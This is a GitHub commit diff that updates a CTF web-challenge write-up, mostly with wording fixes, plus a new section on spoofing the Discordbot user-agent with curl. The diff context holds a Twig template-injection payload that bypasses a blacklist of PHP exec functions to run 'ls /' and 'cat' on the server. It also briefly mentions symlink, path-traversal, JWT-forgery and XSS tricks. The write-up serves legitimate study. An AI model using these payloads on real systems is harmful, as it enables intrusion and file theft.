Skip to content

Commit c891fde

Browse files
committed
feat: Update cyberspace writeup
1 parent 3ffaec8 commit c891fde

4 files changed

Lines changed: 63 additions & 25 deletions

File tree

_posts/2024-09-02-Cyberspace-2024.md

Lines changed: 63 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,17 @@
11
---
22
title: CyberSpace CTF 2024 - WEB
3-
date: 2024-09-03 12:03 +0700
3+
date: 2024-09-03 20:03 +0700
44
tags: [ctf, web]
55
categories: [CTF Writeups]
66
author: Dat2Phit
77
img_path: /assets/img/CyberSpace-2024
88
image: banner.png
99
---
1010

11-
I played [CyberSpace 2024](https://ctftime.org/event/2428) this year with the team [epic merger](https://ctftime.org/team/349896) and got 5th place. We cleared the web category. Here's the writeups for the challenges that I've solve and my note on my teammate's solution for the challenges that I wasn't able to solve.
11+
I played [CyberSpace 2024](https://ctftime.org/event/2428) this year with the team [epic merger](https://ctftime.org/team/349896) and got 5th place. We cleared the web category (including the sponsor challenge). Here's the writeups for the challenges that I've solve and my note on my teammate's solution for the challenges that I wasn't able to solve.
1212

1313
## ZipZone
14-
**Solver:** 173 <br>
14+
**Solvers:** 173 <br>
1515
**Author:** rex
1616

1717
This was a beginner web challenge, the idea was to use the fact that we can zip a [symlink](https://en.wikipedia.org/wiki/Symbolic_link) and when upzipped, we can read that symlink which can point to any files on the system
@@ -65,7 +65,7 @@ After that just upload the symlink.zip to the site and read the flag.
6565
**Flag:** `CSCTF{5yml1nk5_4r3_w31rd}`
6666

6767
## Feature Unlocked
68-
**Solver:** 184 <br>
68+
**Solvers:** 184 <br>
6969
**Author:** cryptocat
7070

7171
When reading the source we can see that we need to exploit a command injection at the endpoint `/feature`
@@ -238,7 +238,7 @@ print(res.text)
238238
**Flag:** `CSCTF{d1d_y0u_71m3_7r4v3l_f0r_7h15_fl46?!}`
239239

240240
## Trendzz
241-
**Solver:** 86 <br>
241+
**Solvers:** 86 <br>
242242
**Author:** careless_finch
243243

244244
3-part (4-part actually) web challenge written in golang.
@@ -333,7 +333,7 @@ It takes a couple tries but eventually it will spit out the flag
333333
**Flag:** `CSCTF{d2426fb5-a93a-4cf2-b353-eac8e0e9cf94}`
334334

335335
## Trendzzz
336-
**Solver:** 37 <br>
336+
**Solvers:** 37 <br>
337337
**Author:** careless_finch
338338

339339
I solved this one before [`Trendz`](#trendz) because I wasn't able to find the intended solution and solved it the unintended way, but eventually I did find the intended solution when trying to find the binary for the fourth chall (Trendzzzz which is a rev challenge).
@@ -400,7 +400,7 @@ print(res.text)
400400
**Flag:** `CSCTF{759b2187-f746-49e1-90da-2b645d3cd61c}`
401401

402402
## Trendz
403-
**Solver:** 52 <br>
403+
**Solvers:** 52 <br>
404404
**Author:** careless_finch
405405

406406
### Unintended
@@ -460,7 +460,7 @@ Yep it was there all along, we can do path traversal to get the challenge binary
460460
To solve the first challenge, we just need to craft a admin session token with the `jwt.secret` and go to `/admin/dashboard` to get the secret post id and get the flag.
461461

462462
## notekeeper
463-
**Solver:** 19 <br>
463+
**Solvers:** 19 <br>
464464
**Author:** 0xM4hm0ud
465465

466466
This challenge had me shoveling a lot because of the `X-Forwarded-For` header. The idea of the challenge was to spoof our ip to access the `/admin` route of the app which can be exploited with LFI, after that we need to find a way to login as `admin` and read the flag.
@@ -560,7 +560,7 @@ To get the flag, just go to `/flag` as with the admin cookie we just crafted and
560560
**Flag:** `CSCTF{Y0u_G0t_1t_G00d_J0b}`
561561

562562
## Snippets
563-
**Solver:** 11 <br>
563+
**Solvers:** 11 <br>
564564
**Author:** bawolff
565565

566566
### Unintended
@@ -682,15 +682,15 @@ The browser will just "merge" the two sets of `script` tags together. Which resu
682682
...
683683
<input type="text" value="--></script>
684684
```
685-
Even the syntax highlighting doesn't know what's going on lol. The script that's actually ran is this
685+
Even the syntax highlighter doesn't know what's going on lol. The script that's actually ran is this
686686
```javascript
687687
console.log("<!--<script>");
688688
</script>
689689
...
690690
<input type="text" value="-->
691691
```
692-
Which is invalid javascript and will throw an error. But we can workaround it with some clever techniques as seen in the article.
693-
In the case of this challenge, if we input the author's payload, we'll get something like:
692+
Which is invalid javascript and will throw an error. But we can work around it with some clever tricks as seen in the article.
693+
In the case of this challenge, if we put in the author's payload, we'll get something like:
694694
```html
695695
<!DOCTYPE html>
696696
<html>
@@ -740,7 +740,7 @@ Then pop goes the alert.
740740
## Teammate's solves
741741

742742
### Quiz
743-
**Solver:** 9 <br>
743+
**Solvers:** 9 <br>
744744
**Author:** GabeG888
745745

746746
This challenge was solved by [Masamune](https://discord.com/users/538608747153588224) after one of our teammmates gave an idea
@@ -842,10 +842,10 @@ while True:
842842
**Flag:** `CSCTF{3rr0r5_c4n_b3_0r4c135}`
843843

844844
### Twig Playground
845-
**Solver:** 7 <br>
845+
**Solvers:** 7 <br>
846846
**Author:** 0xM4hm0ud
847847

848-
This challenge was solved by [jeser](https://discord.com/users/293440719857909760) while I was asleep, when I woke up and saw his payload, I was overwhelmed lol. But here's my analysis of the challenge.
848+
This challenge was solved by [jeser](https://discord.com/users/293440719857909760) while I was sleeping, when I woke up and saw his payload, I was overwhelmed lol. But here's my analysis of the challenge.
849849

850850
Here's his final payload for the challenge:
851851
```
@@ -861,8 +861,8 @@ Here's his final payload for the challenge:
861861
{{ {rce}|find(syste~m) }}{% endraw %}
862862
```
863863

864-
Let's analyze the problem before going into the payload
865-
This is a Twig SSTI challenge, our goal is to bypass the blacklist and achieve RCE
864+
Let's analyze the problem before going into the payload.
865+
This is a Twig SSTI challenge, our goal is to bypass the blacklist and achieve RCE.
866866
```php
867867
$blacklist = ['system', 'id', 'passthru', 'exec', 'shell_exec', 'popen', 'proc_open', 'pcntl_exec', '_self', 'reduce', 'env', 'sort', 'map', 'filter', 'replace', 'encoding', 'include', 'file', 'run', 'Closure', 'Callable', 'Process', 'Symfony', '\'', '"', '.', ';', '[', ']', '\\', '/', '-'];
868868
```
@@ -889,25 +889,25 @@ So we got ` ` and `/` now, let's assign them to a variable first.
889889
Next we need to find a way to get `system`.
890890
To get system, we can actually do the same as ` ` and `/` but it'll be to tedious. Instead, we can do something like this: `{syste:1}|keys|join()`. The `keys` filter will extract all the keys in an object and put it into an array, in this case, we'll get `syste`.
891891

892-
For the character `m` we can do this `{m:1}|keys|join()`
892+
For the character `m` we can do this `{m:1}|keys|join()`.
893893

894-
In order to join them together, Twig has a very convenient operator which is `~` that is not in the blacklist
894+
In order to join them together, Twig has a very convenient operator which is `~` that is not in the blacklist.
895895

896896
![twig tilde doc](twig-tilde.png)
897897
*Reference: [https://www.branchcms.com/learn/docs/developer/twig/operators](https://www.branchcms.com/learn/docs/developer/twig/operators)*
898898

899-
Let's set those two as a variable first
899+
Let's set those two as a variable first.
900900
```
901901
{% raw %}{% set syste={syste:1}|keys|join() %}
902902
{% set m={m:1}|keys|join() %}{% endraw %}
903903
```
904-
So we can do something like this `syste~m` which will return the string `system`
904+
So we can do something like this `syste~m` which will return the string `system`.
905905
Oh and make sure to set `ls` as a variable too so we can chain them together.
906906
```
907907
{% raw %}{% set ls={ls:1}|keys|join() %}
908908
{% set rce=ls~space~slash %}{% endraw %}
909909
```
910-
`ls~space~slash` will result in `ls /`
910+
`ls~space~slash` will result in `ls /`.
911911

912912
So now how to execute it? We only got the string `system` and `ls`.
913913

@@ -929,8 +929,7 @@ Sending it to server will give this output
929929
```
930930
bin dev etc flag-edbfcbcaef home lib media mnt opt proc root run sbin srv sys tmp usr var ls /
931931
```
932-
Now we know that the flag file name is `flag-edbfcbcaef`
933-
So we'll use the same technique to execute <br>
932+
Now we know that the flag file name is `flag-edbfcbcaef`. So we'll use the same technique to execute <br>
934933
`cat /flag-edbfcbcaef`
935934

936935
But there's a new character which we can't use the above technique for, it's the dash character `-`.
@@ -949,7 +948,7 @@ The other strings `cat`, `flag` and `edbfcbcaef` can be constructed using the go
949948
{% set flag2={edbfcbcaef:1}|keys|join() %}
950949
{% set rce=cat~space~slash~flag1~dash~flag2 %}{% endraw %}
951950
```
952-
`cat~space~slash~flag1~dash~flag2` will result in `cat /flag-edbfcbcaef`
951+
`cat~space~slash~flag1~dash~flag2` will result in `cat /flag-edbfcbcaef`.
953952

954953
All that's left is to chain them together to get the final payload, send them to the server and get the flag.
955954

@@ -967,4 +966,43 @@ All that's left is to chain them together to get the final payload, send them to
967966
```
968967
**Flag:** `CSCTF{Tw1g_tw1g_ssT1_n0_h4cKtr1ck5_th1S_t1M3}`
969968

969+
### Share The Flag
970+
**Solvers:** 6 <br>
971+
**Author:** Cybersharing
972+
973+
This challenge was solved by [LyC0nTriX](https://discord.com/users/1116855799659102309) in the last 5 minutes of the competition. This was more of a misc-guessing challenge more than a web challenge but it has a web tag so I'll include it here as well.
974+
975+
The challenge gave us a picture with the following hints
976+
![Challenge picture](share-the-flag.png)
977+
978+
> Hint: There are 2 important pieces of information that one can get from the discord screenshot. One is the fact that the mention of a VPN, hints to the IP History page.
979+
980+
> Hint 2: Think about how discord knows to display such a good looking embed and the technology used in the site.
981+
982+
Hint 1 told us to go to the IP History page but we can't find anything useful there after a while.
983+
984+
According the hint 2, it's related to how discord fetch the embed and display it. So I think if we can replicate what discord does to get the embed, we'll get the flag.
985+
986+
So I'll spin up a quick http server that can log headers information and send the server address to a random channel. This is what I receive after that.
987+
988+
![headers info](share-the-flag-user-agent.png)
989+
990+
As you can see, discord will send a request to that address with the user-agent: `Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)`.
991+
992+
So let's try to request `cybersharing.net` ourselves with that header and see what will be returned.
993+
We'll send a curl request with the header `User-Agent: Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)` to [https://cybersharing.net/history](https://cybersharing.net/history) since the first hint pointed to that.
994+
995+
```console
996+
curl -H 'User-Agent: Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)' https://cybersharing.net/history
997+
```
998+
It'll return a bunch of html code, but if we look closely or use `grep` we can see that's there's a link to the flag file.
999+
1000+
![flag link](share-the-flag-flag.png)
1001+
1002+
Here's the link: [https://cybersharing.net/s/13f17b167f2229809a95fb9d8c725449](https://cybersharing.net/s/13f17b167f2229809a95fb9d8c725449)
1003+
1004+
Download it and get the flag.
1005+
1006+
**Flag:** `CSCTF{dd4a22b47251fd92207cc057c37728a2}`
1007+
9701008
*That's all folks, thank you all for such an amazing CTF event.*
498 KB
Loading
63.6 KB
Loading
106 KB
Loading

0 commit comments

Comments
 (0)